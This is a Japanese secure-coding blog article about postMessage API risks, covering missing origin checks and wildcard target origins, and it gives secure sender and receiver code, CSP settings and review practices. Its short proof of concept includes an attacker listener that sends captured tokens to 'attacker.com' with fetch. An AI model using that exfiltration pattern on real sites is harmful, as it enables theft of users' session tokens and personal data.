【実務・中級編】PostMessage APIのセキュリティ:origin検証の欠如による情報漏洩 – アプリケーションセキュリティ & 安全な開発防御ガイド

なぜ、その postMessage は「鍵なしの金庫」なのか?

現場でコードレビューをしていると、未だに信じられない実装に出くわすことがある。フロントエンドのウィンドウ間通信、すなわち postMessage APIの乱用だ。

「とりあえず動けばいい」「クロスドメインで動かないから」という理由で、送信元検証(Origin Check)をサボったり、ワイルドカード “ を指定したりしていないだろうか? 結論から言えば、それは「誰でも入れる金庫を公開している」のと同じだ。

今日は、XSSや中間者攻撃の延長線上にある、この見落とされがちな「窓口のセキュリティ」について、実務的な解を提示する。

—

1. 攻撃者が「ワイルドカード」の隙を突くシナリオ

window.postMessage(message, targetOrigin) の第2引数に “ を指定するということは、「誰がこのメッセージを受け取ろうと知ったことではない」と宣言しているに等しい。

攻撃者は、あなたのWebアプリが埋め込まれた悪意あるiframeや、ブラウザの拡張機能、あるいは脆弱性のある別サイトを経由して、あなたのアプリから送信された機密データ(セッション情報、個人情報、APIトークン等)を盗み出すことができる。

攻撃のPoC(概念実証)

もしあなたが、自身のアプリで以下のようなコードを書いていたら、即座に修正が必要だ。

// 【脆弱なコード】送信先を制限していない
window.postMessage({ token: userToken }, ”);

攻撃者のサイト(悪意あるドメイン)で、あなたのアプリをiframeとして読み込み、message イベントをリッスンするだけで、userToken は簡単に奪取される。

// 攻撃者のサイト側のスクリプト
window.addEventListener(‘message’, (event) => {
// 誰からのメッセージでも受信してしまう
console.log(“盗んだデータ:”, event.data);
// あとは外部サーバーに送信するだけ
fetch(‘https://attacker.com/collect?data=’ + JSON.stringify(event.data));
});

この「情報漏洩」は、XSSのようにスクリプトを注入する必要すらない。単に「通信を傍受する」だけで成立するから厄介なのだ。

—

2. 絶対に守るべき「セキュアな実装」の鉄則

postMessage を実装する際は、「送信時」と「受信時」の両方で必ず検証を行うこと。これが鉄則だ。

送信側:宛先を明示せよ

“ は禁句だ。信頼できるドメイン名(Origin)をハードコードするか、環境変数から読み込むようにする。

// 【セキュアな送信】信頼できる特定のドメインのみに送信する
const trustedOrigin = ‘https://app.your-company.com’;
window.postMessage({ type: ‘AUTH_SUCCESS’, token: userToken }, trustedOrigin);

受信側:送信元を厳格にチェックせよ

受信側では event.origin を必ず確認する。ここを怠ると、外部から任意のコードを実行させられる「DOMベースのXSS」の入り口になる。

// 【セキュアな受信】イベントリスナーで必ず送信元を検証する
window.addEventListener(‘message’, (event) => {
// 1. 信頼できるドメインリスト
const allowedOrigins = [
‘https://app.your-company.com’,
‘https://partner.third-party.com’
];

// 2. 送信元の検証(ここが最も重要)
if (!allowedOrigins.includes(event.origin)) {
console.warn(‘信頼できない送信元からのアクセスをブロックしました:’, event.origin);
return;
}

// 3. データの構造を検証(型チェック)
if (typeof event.data !== ‘object’ || !event.data.type) {
return;
}

// 4. 安全な処理
console.log(‘検証済みデータ:’, event.data);
});

—

3. インフラと開発プロセスの「守り」

コードレベルの修正だけでなく、組織として以下の運用を徹底してほしい。

フロントエンド構成のガード

もし、iframeを多用する構成なら、Content-Security-Policy (CSP) を活用して、不正なスクリプトの実行を阻止する。

Nginxの設定例:

信頼できるドメインのみにiframeの読み込みを許可する
add_header Content-Security-Policy “frame-ancestors ‘self’ https://trusted.example.com;”;

開発フローへの組み込み

1. コードレビューの必須チェック項目にする: 「postMessage の第2引数は ではないか?」「event.origin のチェックは入っているか?」をプルリクエストのチェックリストに加えること。
2. 静的解析ツールの導入: ESLint のプラグイン(例: eslint-plugin-security)で、不適切な postMessage の使用を自動検知するようにビルドパイプラインを組む。

—

最後に:セキュリティは「疑うこと」から始まる

現場のエンジニア諸君、セキュリティ対策は「面倒な作業」ではない。「システムの信頼性を担保するエンジニアリングそのもの」だ。

postMessage のようなAPIは非常に便利だが、その利便性の裏側には常に「攻撃者も同じAPIを使える」というリスクがある。「通信相手を信用するな、検証せよ」。この言葉をコードの片隅に刻んでおいてほしい。

もし、今のプロジェクトでワイルドカードを放置しているなら、今日のうちに修正を入れよう。それが、明日の大きなインシデントを防ぐ唯一の道だ。それでは、現場からは以上だ。また次の技術トピックで会おう。

コメント

タイトルとURLをコピーしました